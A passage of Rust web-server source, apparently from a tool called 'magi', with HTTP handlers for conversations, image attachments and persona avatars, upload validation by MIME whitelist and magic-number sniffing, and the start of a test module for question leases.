10907        talk::reopen(&mut talk, &ui.talks)?;
10908        let thinking = ui.is_thinking(&talk.id);
10909        Ok(Json(TalkView::new(talk, thinking, &ui)))
10910    })
10911    .await
10912}
10913
10914/// `GET /api/talks/{id}/live` - the in-progress reply of a running omp turn
10915/// ([`crate::omp_rpc::Live`]), or 204 when no turn is streaming.
10916async fn talk_live(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
10917    blocking(move || {
10918        let id = resolve_talk(&ui.talks, &id)?;
10919        Ok(
10920            match crate::omp_rpc::read_live(&crate::talk::live_path(&ui.talks, &id)) {
10921                Some(live) => Json(live).into_response(),
10922                None => StatusCode::NO_CONTENT.into_response(),
10923            },
10924        )
10925    })
10926    .await
10927}
10928
10929/// `POST /api/talks/{id}/stop` - ask the running turn to stop. Only an omp
10930/// RPC turn still taking commands honours it (its live snapshot exists for
10931/// exactly that long), so anything else is a 409, never a silent no-op.
10932async fn talk_stop(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10933    blocking(move || {
10934        let id = resolve_talk(&ui.talks, &id)?;
10935        if !ui.is_thinking(&id)
10936            || !crate::omp_rpc::request_stop(
10937                &crate::talk::live_path(&ui.talks, &id),
10938                &crate::talk::live_stop_path(&ui.talks, &id),
10939            )?
10940        {
10941            return Err(ApiError::conflict(
10942                "no stoppable turn is running in this conversation",
10943            ));
10944        }
10945        Ok(StatusCode::ACCEPTED)
10946    })
10947    .await
10948}
10949
10950/// `DELETE /api/talks/{id}`.
10951///
10952/// Removes the conversation's record and artifacts outright, unlike
10953/// [`talk_close`] which keeps the record as history. A turn already in
10954/// flight is not refused here the way [`run_delete`] refuses a live run:
10955/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10956/// under [`Talks::guard`], that the record they are about to write back is
10957/// still there, so a delete racing a turn is safe without this route having
10958/// to know a turn is running at all.
10959async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10960    blocking(move || {
10961        let id = resolve_talk(&ui.talks, &id)?;
10962        ui.talks.remove(&id)?;
10963        Ok(StatusCode::NO_CONTENT)
10964    })
10965    .await
10966}
10967
10968fn talk_ids(root: &FsPath) -> Vec<String> {
10969    std::fs::read_dir(root)
10970        .into_iter()
10971        .flatten()
10972        .flatten()
10973        .filter_map(|e| {
10974            let path = e.path();
10975            if path.extension().is_some_and(|ext| ext == "json") {
10976                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10977            } else {
10978                None
10979            }
10980        })
10981        .collect()
10982}
10983
10984/// Expand an id or short id to exactly one talk id.
10985fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10986    if plain_record_id(id) && store.path_of(id).is_file() {
10987        return Ok(id.to_owned());
10988    }
10989    pick(talk_ids(store.root()), id, "talk")
10990}
10991
10992/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10993/// future `talk-say`.
10994async fn talk_attachment_post(
10995    State(ui): State<Arc<Ui>>,
10996    Path(id): Path<String>,
10997    headers: HeaderMap,
10998    body: Bytes,
10999) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
11000    let mime = validate_attachment(&headers, &body)?;
11001    let name = filename_header(&headers);
11002    let data = body.to_vec();
11003    blocking(move || {
11004        let id = resolve_talk(&ui.talks, &id)?;
11005        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
11006        Ok((StatusCode::CREATED, Json(att)))
11007    })
11008    .await
11009}
11010
11011/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
11012/// `<img>` tag in the transcript.
11013async fn talk_attachment_get(
11014    State(ui): State<Arc<Ui>>,
11015    Path((id, att)): Path<(String, String)>,
11016) -> ApiResult<Response> {
11017    blocking(move || {
11018        let id = resolve_talk(&ui.talks, &id)?;
11019        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
11020            return Err(ApiError::not_found(format!(
11021                "talk {id} has no attachment `{att}`"
11022            )));
11023        };
11024        Ok(attachment_response(&meta.mime, data))
11025    })
11026    .await
11027}
11028
11029/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
11030/// the icon setting, so changing it changes the URL.
11031fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
11032    let id = avatar_encode(&p.id);
11033    format!(
11034        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
11035        persona_icon::fingerprint(
11036            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
11037        )
11038    )
11039}
11040
11041#[derive(Debug, Default, Deserialize)]
11042struct AvatarQuery {
11043    persona: Option<String>,
11044    /// Set by the page after the first load failed: skip the `icon`.
11045    builtin: Option<String>,
11046}
11047
11048/// Served with every built-in avatar: it is an image, so nothing else may run.
11049const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11050
11051fn builtin_avatar(id: &str) -> Response {
11052    svg_avatar(persona_icon::builtin_svg(id))
11053}
11054
11055async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11056    raster_or_builtin(
11057        read_icon_file(&avatar_setting_path(&ui.home, None))
11058            .filter(|_| q.builtin.is_none())
11059            .as_deref(),
11060        persona_icon::operator_svg(),
11061    )
11062}
11063
11064fn svg_avatar(svg: &'static str) -> Response {
11065    (
11066        [
11067            (header::CONTENT_TYPE, "image/svg+xml"),
11068            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11069            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11070            (header::CACHE_CONTROL, "no-cache"),
11071        ],
11072        svg,
11073    )
11074        .into_response()
11075}
11076
11077fn avatar_encode(value: &str) -> String {
11078    value
11079        .bytes()
11080        .map(|b| {
11081            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11082                char::from(b).to_string()
11083            } else {
11084                format!("%{b:02X}")
11085            }
11086        })
11087        .collect()
11088}
11089
11090// Display-only overrides live outside configuration and conversation records.
11091fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11092    let Some(id) = persona else {
11093        return home.join("avatars/operator.data");
11094    };
11095    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11096    let mut path = home.join("avatars/personas");
11097    for chunk in encoded.as_bytes().chunks(100) {
11098        path.push(std::str::from_utf8(chunk).expect("hex"));
11099    }
11100    path.join("icon.data")
11101}
11102
11103fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11104    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11105        Some(value) if value == "builtin" => Some(String::new()),
11106        Some(value) => Some(value),
11107        None => configured.map(str::to_owned),
11108    }
11109}
11110
11111fn operator_icon_url(home: &FsPath) -> String {
11112    format!(
11113        "/avatars/operator.svg?v={}",
11114        persona_icon::fingerprint(
11115            read_icon_file(&avatar_setting_path(home, None))
11116                .as_deref()
11117                .or(Some(persona_icon::operator_svg()))
11118        )
11119    )
11120}
11121
11122fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11123    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11124        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11125            attachment_response(mime, bytes)
11126        }
11127        _ => svg_avatar(builtin),
11128    };
11129    response
11130        .headers_mut()
11131        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11132    response
11133}
11134
11135#[derive(Default, Deserialize)]
11136struct AvatarSettingsQuery {
11137    repo: Option<PathBuf>,
11138    persona: Option<String>,
11139    builtin: Option<String>,
11140    inherit: Option<String>,
11141}
11142
11143fn avatar_settings_specs(
11144    ui: &Ui,
11145    repo: Option<PathBuf>,
11146) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11147    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11148    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11149        .map(|cfg| cfg.talk.personas)
11150        .unwrap_or_default();
11151    Ok((repo, specs))
11152}
11153
11154fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11155    let Ok(entries) = std::fs::read_dir(path) else {
11156        return;
11157    };
11158    for entry in entries.flatten() {
11159        let name = entry.file_name().to_string_lossy().into_owned();
11160        if name == "icon.data" {
11161            let bytes: Option<Vec<u8>> = prefix
11162                .as_bytes()
11163                .chunks(2)
11164                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11165                .collect();
11166            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11167                out.push(id);
11168            }
11169        } else if name.len() <= 100
11170            && !name.is_empty()
11171            && name.bytes().all(|b| b.is_ascii_hexdigit())
11172            && entry.file_type().is_ok_and(|t| t.is_dir())
11173        {
11174            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11175        }
11176    }
11177}
11178
11179async fn avatar_settings_get(
11180    State(ui): State<Arc<Ui>>,
11181    Query(q): Query<AvatarSettingsQuery>,
11182) -> ApiResult<Json<serde_json::Value>> {
11183    blocking(move || {
11184        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11185        let mut catalog = persona::catalog(&specs);
11186        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11187        let mut saved = Vec::new();
11188        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11189        for id in saved {
11190            if !catalog.iter().any(|p| p.id == id) {
11191                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11192            }
11193        }
11194        let personas: Vec<_> = catalog.iter().map(|p| {
11195            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11196            let override_state = match saved.as_deref() {
11197                Some("builtin") => "builtin",
11198                Some(_) => "custom",
11199                None => "inherit",
11200            };
11201            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11202            serde_json::json!({"id":p.id,"name":p.name,
11203                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11204                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11205                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11206        }).collect();
11207        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11208    }).await
11209}
11210
11211async fn settings_persona_avatar(
11212    State(ui): State<Arc<Ui>>,
11213    Query(q): Query<AvatarSettingsQuery>,
11214) -> ApiResult<Response> {
11215    blocking(move || {
11216        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11217        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11218        let found = persona::find(&specs, id);
11219        let icon =
11220            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11221        Ok(raster_or_builtin(
11222            icon.as_deref().filter(|_| q.builtin.is_none()),
11223            persona_icon::builtin_svg(id),
11224        ))
11225    })
11226    .await
11227}
11228
11229fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11230    if q.persona
11231        .as_ref()
11232        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11233    {
11234        return Err(ApiError::bad_request("invalid persona id"));
11235    }
11236    Ok(())
11237}
11238
11239async fn avatar_settings_put(
11240    State(ui): State<Arc<Ui>>,
11241    Query(q): Query<AvatarSettingsQuery>,
11242    Json(upload): Json<MagiIconUpload>,
11243) -> ApiResult<Json<serde_json::Value>> {
11244    blocking(move || {
11245        validate_avatar_target(&q)?;
11246        save_icon_file(
11247            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11248            &upload.icon,
11249        )
11250        .map_err(ApiError::bad_request_from)?;
11251        Ok(Json(serde_json::json!({"saved":true})))
11252    })
11253    .await
11254}
11255
11256async fn avatar_settings_delete(
11257    State(ui): State<Arc<Ui>>,
11258    Query(q): Query<AvatarSettingsQuery>,
11259) -> ApiResult<Json<serde_json::Value>> {
11260    blocking(move || {
11261        validate_avatar_target(&q)?;
11262        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11263        if q.persona.is_some() && q.inherit.is_none() {
11264            atomic_icon_write(&path, "builtin")?;
11265        } else {
11266            match std::fs::remove_file(path) {
11267                Ok(()) => (),
11268                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11269                Err(e) => return Err(anyhow::Error::from(e).into()),
11270            }
11271        }
11272        Ok(Json(serde_json::json!({"saved":true})))
11273    })
11274    .await
11275}
11276
11277// The global MAGI icon is deliberately independent of repository configuration.
11278fn magi_icon_path(home: &FsPath) -> PathBuf {
11279    home.join("magi-icon.data")
11280}
11281
11282fn read_magi_icon(home: &FsPath) -> Option<String> {
11283    read_icon_file(&magi_icon_path(home))
11284}
11285
11286fn read_icon_file(path: &FsPath) -> Option<String> {
11287    let metadata = std::fs::metadata(path).ok()?;
11288    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11289        return None;
11290    }
11291    let file = std::fs::File::open(path).ok()?;
11292    use std::io::Read;
11293    let mut text = String::new();
11294    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11295        .read_to_string(&mut text)
11296        .ok()?;
11297    if text.len() > persona_icon::ICON_MAX_BYTES {
11298        return None;
11299    }
11300    if text == "builtin" {
11301        return Some(text);
11302    }
11303    validate_uploaded_icon(&text).ok()?;
11304    Some(text)
11305}
11306
11307fn magi_icon_url(home: &FsPath) -> String {
11308    format!(
11309        "/avatars/magi?v={}",
11310        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11311    )
11312}
11313
11314async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11315    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11316}
11317
11318#[derive(Deserialize)]
11319struct MagiIconUpload {
11320    icon: String,
11321}
11322
11323fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11324    save_icon_file(&magi_icon_path(home), icon)
11325}
11326
11327fn validate_uploaded_icon(icon: &str) -> Result<()> {
11328    if !icon.starts_with("data:") {
11329        anyhow::bail!("upload a raster image");
11330    }
11331    let (mime, bytes) = persona_icon::load(icon)?;
11332    if sniffed_mime(&bytes) != Some(mime) {
11333        anyhow::bail!("image content does not match its type");
11334    }
11335    Ok(())
11336}
11337
11338fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11339    validate_uploaded_icon(icon)?;
11340    atomic_icon_write(path, icon)
11341}
11342
11343fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11344    let home = path.parent().expect("icon parent");
11345    std::fs::create_dir_all(home)?;
11346    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11347    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11348    let result = (|| -> Result<()> {
11349        use std::io::Write;
11350        let mut file = std::fs::OpenOptions::new()
11351            .write(true)
11352            .create_new(true)
11353            .open(&temp)?;
11354        file.write_all(icon.as_bytes())?;
11355        file.sync_all()?;
11356        std::fs::rename(&temp, path)?;
11357        Ok(())
11358    })();
11359    let _ = std::fs::remove_file(temp);
11360    result?;
11361    Ok(())
11362}
11363
11364async fn magi_icon_put(
11365    State(ui): State<Arc<Ui>>,
11366    Json(upload): Json<MagiIconUpload>,
11367) -> ApiResult<Json<serde_json::Value>> {
11368    blocking(move || {
11369        if !upload.icon.starts_with("data:") {
11370            return Err(ApiError::bad_request("upload a raster image"));
11371        }
11372        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11373        if sniffed_mime(&bytes) != Some(mime) {
11374            return Err(ApiError::bad_request(
11375                "image content does not match its type",
11376            ));
11377        }
11378        save_magi_icon(&ui.home, &upload.icon)?;
11379        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11380    })
11381    .await
11382}
11383
11384async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11385    blocking(move || {
11386        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11387            Ok(()) => (),
11388            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11389            Err(e) => return Err(anyhow::Error::from(e).into()),
11390        }
11391        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11392    })
11393    .await
11394}
11395
11396async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11397    let icon = (q.builtin.is_none())
11398        .then(|| read_magi_icon(&ui.home))
11399        .flatten();
11400    let mut response = match icon
11401        .as_deref()
11402        .and_then(|icon| persona_icon::load(icon).ok())
11403    {
11404        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11405            attachment_response(mime, bytes)
11406        }
11407        _ => svg_avatar(persona_icon::magi_svg()),
11408    };
11409    response
11410        .headers_mut()
11411        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11412    response
11413}
11414
11415/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11416/// operator's raster `icon` when it resolves and its bytes agree with its
11417/// type, the built-in SVG otherwise. Display only; every failure is a warning
11418/// and the built-in avatar, never an error response.
11419async fn talk_avatar(
11420    State(ui): State<Arc<Ui>>,
11421    Path(id): Path<String>,
11422    Query(q): Query<AvatarQuery>,
11423) -> ApiResult<Response> {
11424    blocking(move || {
11425        let id = resolve_talk(&ui.talks, &id)?;
11426        let talk = ui.talks.get(&id)?;
11427        let wanted = q
11428            .persona
11429            .as_deref()
11430            .map(str::trim)
11431            .filter(|p| !p.is_empty())
11432            .unwrap_or(&talk.persona)
11433            .to_owned();
11434        let specs = match talk.config() {
11435            Ok(cfg) => cfg.talk.personas,
11436            Err(e) => {
11437                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11438                Vec::new()
11439            }
11440        };
11441        let found = persona::find(&specs, &wanted);
11442        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11443        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11444        let icon = effective_persona_icon(
11445            &ui.home,
11446            &wanted,
11447            found.as_ref().and_then(|p| p.icon.as_deref()),
11448        );
11449        if found.is_none() && icon.is_none() {
11450            return Ok(builtin_avatar(persona::DEFAULT_ID));
11451        }
11452        let Some(icon) = icon
11453            .as_deref()
11454            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11455        else {
11456            return Ok(builtin_avatar(&wanted));
11457        };
11458        let Some(found) = found else {
11459            return Ok(raster_or_builtin(
11460                Some(icon),
11461                persona_icon::builtin_svg(&wanted),
11462            ));
11463        };
11464        match persona_icon::load(icon) {
11465            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11466                let mut res = attachment_response(mime, bytes);
11467                res.headers_mut().insert(
11468                    header::CACHE_CONTROL,
11469                    header::HeaderValue::from_static("no-cache"),
11470                );
11471                Ok(res)
11472            }
11473            Ok((mime, _)) => {
11474                tracing::warn!(
11475                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11476                    found.id
11477                );
11478                Ok(builtin_avatar(&found.id))
11479            }
11480            Err(e) => {
11481                tracing::warn!(
11482                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11483                    found.id
11484                );
11485                Ok(builtin_avatar(&found.id))
11486            }
11487        }
11488    })
11489    .await
11490}
11491
11492/// Validate an attachment upload's declared `Content-Type` and the bytes
11493/// themselves, returning the canonical mime on success.
11494///
11495/// Two checks, both required: the header has to name one of
11496/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11497/// simply never in the list, active content rather than a picture, the same
11498/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11499/// magic number has to agree. The second is what stops a mislabeled upload -
11500/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11501/// a declared type is a claim, not a fact, so it is never trusted alone.
11502fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11503    if data.len() > ATTACHMENT_MAX_BYTES {
11504        return Err(ApiError::bad_request(format!(
11505            "attachment is {} bytes, over the {} MiB limit",
11506            data.len(),
11507            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11508        ))
11509        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11510    }
11511    if data.is_empty() {
11512        return Err(ApiError::bad_request("attachment is empty"));
11513    }
11514    let declared = declared_mime(headers)?;
11515    match sniffed_mime(data) {
11516        Some(sniffed) if sniffed == declared => Ok(declared),
11517        Some(sniffed) => Err(ApiError::bad_request(format!(
11518            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11519        ))),
11520        None => Err(ApiError::bad_request(
11521            "the file's bytes do not match any accepted image format",
11522        )),
11523    }
11524}
11525
11526/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11527/// and nothing else - parameters like `; charset=` are stripped, but the
11528/// value itself is not otherwise interpreted.
11529fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11530    let raw = headers
11531        .get(header::CONTENT_TYPE)
11532        .and_then(|v| v.to_str().ok())
11533        .unwrap_or("")
11534        .split(';')
11535        .next()
11536        .unwrap_or("")
11537        .trim()
11538        .to_ascii_lowercase();
11539    ATTACHMENT_MIME_WHITELIST
11540        .iter()
11541        .find(|&&m| m == raw)
11542        .copied()
11543        .ok_or_else(|| {
11544            if raw == "image/svg+xml" {
11545                ApiError::bad_request(
11546                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11547                     not just a picture",
11548                )
11549            } else if raw.is_empty() {
11550                ApiError::bad_request("Content-Type is required for an attachment upload")
11551            } else {
11552                ApiError::bad_request(format!(
11553                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11554                     image/gif or image/webp"
11555                ))
11556            }
11557        })
11558}
11559
11560/// Identify an image by its magic number, independent of whatever
11561/// `Content-Type` claimed.
11562fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11563    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11564        Some("image/png")
11565    } else if data.starts_with(b"\xff\xd8\xff") {
11566        Some("image/jpeg")
11567    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11568        Some("image/gif")
11569    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11570        Some("image/webp")
11571    } else {
11572        None
11573    }
11574}
11575
11576/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11577/// display - see [`talk::Attachment::name`]'s doc on why it never
11578/// contributes to a path. A missing or blank header (curl without it, an
11579/// older front end) falls back to a generic name rather than refusing the
11580/// upload over a field that is cosmetic.
11581fn filename_header(headers: &HeaderMap) -> String {
11582    headers
11583        .get(FILENAME_HEADER)
11584        .and_then(|v| v.to_str().ok())
11585        .map(str::trim)
11586        .filter(|s| !s.is_empty())
11587        .unwrap_or("attachment")
11588        .to_owned()
11589}
11590
11591/// Every attachment `GET` response: the mime re-validated against the same
11592/// closed whitelist the upload route enforces - never the string trusted
11593/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11594/// cannot decide it knows better than the type we send. Unlike a panel asset
11595/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11596/// document renders inline, not agent-authored HTML in a sandboxed frame.
11597fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11598    let content_type = ATTACHMENT_MIME_WHITELIST
11599        .iter()
11600        .find(|&&m| m == mime)
11601        .copied()
11602        .unwrap_or("application/octet-stream");
11603    (
11604        [
11605            (header::CONTENT_TYPE, content_type),
11606            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11607        ],
11608        body,
11609    )
11610        .into_response()
11611}
11612
11613/// The configuration for a repository, read off the disk for this request.
11614///
11615/// Through [`blocking`] because discovery reads and merges several TOML files,
11616/// and because the alternative - caching it in [`Ui`] at startup - would mean
11617/// the operator's phone kept interviewing with a roster they had already
11618/// changed, with no way to reload it but restarting the server they are not
11619/// sitting in front of.
11620async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11621    let repo = repo.to_path_buf();
11622    blocking(move || {
11623        let (cfg, _) = Config::discover(&repo, None)?;
11624        Ok(cfg)
11625    })
11626    .await
11627}
11628
11629/// The one prefix rule, used for both runs and tasks: a leading match for a
11630/// full id, a trailing match for the short form an operator reads off a
11631/// report. Written here rather than borrowed from `queue::resolve_id` because
11632/// the UI needs the two failures as different status codes, and telling them
11633/// apart from an error message is not something to build a route on.
11634fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11635    let mut hits = ids
11636        .into_iter()
11637        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11638    match (hits.next(), hits.next()) {
11639        (Some(one), None) => Ok(one),
11640        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11641        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11642            "`{prefix}` matches more than one {what}, including {a} and {b}"
11643        ))),
11644    }
11645}
11646
11647#[cfg(test)]
11648mod tests {
11649
11650    #[test]
11651    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11652        let dir = tempfile::tempdir().unwrap();
11653        let store = ask::Questions::at(dir.path().join("questions"));
11654        let mut q = Question::new(
11655            "task".to_owned(),
11656            "conduct".to_owned(),
11657            "conduct".to_owned(),
11658            "choose".to_owned(),
11659            String::new(),
11660            vec!["keep".to_owned()],
11661        );
11662        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11663        q.say("why?").unwrap();
11664        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11665        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11666        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11667        store.put(&mut q).unwrap();
11668        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11669        assert_eq!(store.count_needs_owner(), 1);
11670        store.beat(&q.id, ask::WaiterKind::Deputy);
11671        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11672        assert_eq!(store.count_needs_owner(), 0);
11673        let mut stale = store.read_lease(&q.id).unwrap();
11674        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11675        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11676        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11677        assert!(view.deputy_exhausted);
11678        assert!(view.waiting_on_agent);
11679        assert_eq!(view.question.choices, ["keep"]);
11680        store.drop_lease(&q.id);
11681        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11682        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11683    }
11684
11685    #[test]
11686    fn holder_reads_the_lease_not_the_record() {
11687        let mut q = Question::new(
11688            "run".to_owned(),
11689            "implement".to_owned(),
11690            "impl-A".to_owned(),
11691            "which?".to_owned(),
11692            String::new(),
11693            Vec::new(),
11694        );
11695        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11696        q.cwd = Some("/tmp".to_owned());
11697        assert_eq!(holder_of(&q, None), Some("nobody"));
11698        let beat = |kind, ago: i64| ask::Lease {
11699            kind,
11700            pid: 1,
11701            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11702                .unwrap(),
11703        };
11704        let fresh = beat(ask::WaiterKind::Asker, 1);
11705        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11706        let daemon = beat(ask::WaiterKind::Daemon, 1);
11707        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11708        let stale = beat(ask::WaiterKind::Asker, 3600);
11709        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11710
11711        // A conductor question says "deputy" only while one is attached and
11712        // alive, and "nobody" - never silence - when nothing ever listened.
11713        let mut c = Question::new(
11714            "task".to_owned(),
11715            crate::conduct::NODE.to_owned(),
11716            "conduct".to_owned(),
11717            "which?".to_owned(),
11718            String::new(),
11719            Vec::new(),
11720        );
11721        assert_eq!(holder_of(&c, None), Some("nobody"));
11722        c.cwd = Some("/tmp".to_owned());
11723        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11724        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11725        let deputy = beat(ask::WaiterKind::Deputy, 1);
11726        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11727        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11728
11729        // A release-watch question: nobody until a deputy is attached.
11730        let mut r = Question::new(
11731            String::new(),
11732            crate::bump::NOTICE_NODE.to_owned(),
11733            "release-watch".to_owned(),
11734            "stuck?".to_owned(),
11735            String::new(),
11736            vec!["hold".to_owned()],
11737        );
11738        assert_eq!(holder_of(&r, None), Some("nobody"));
11739        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11740        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11741        // A choice-less bump notice is nobody's question at all.
11742        r.deputy = None;
11743        r.seat = "bump".to_owned();
11744        assert_eq!(holder_of(&r, None), None);
11745
11746        // A merge approval is the same: nobody until a deputy is attached
11747        // and alive, never a silent "no holder".
11748        let mut m = Question::new(
11749            "run".to_owned(),
11750            crate::land::APPROVAL_NODE.to_owned(),
11751            "land".to_owned(),
11752            "merge?".to_owned(),
11753            String::new(),
11754            Vec::new(),
11755        );
11756        assert_eq!(holder_of(&m, None), Some("nobody"));
11757        assert_eq!(
11758            holder_of(&m, Some(&fresh)),
11759            Some("asker"),
11760            "a live explicit wait is a listener even before a deputy is attached"
11761        );
11762        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11763        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
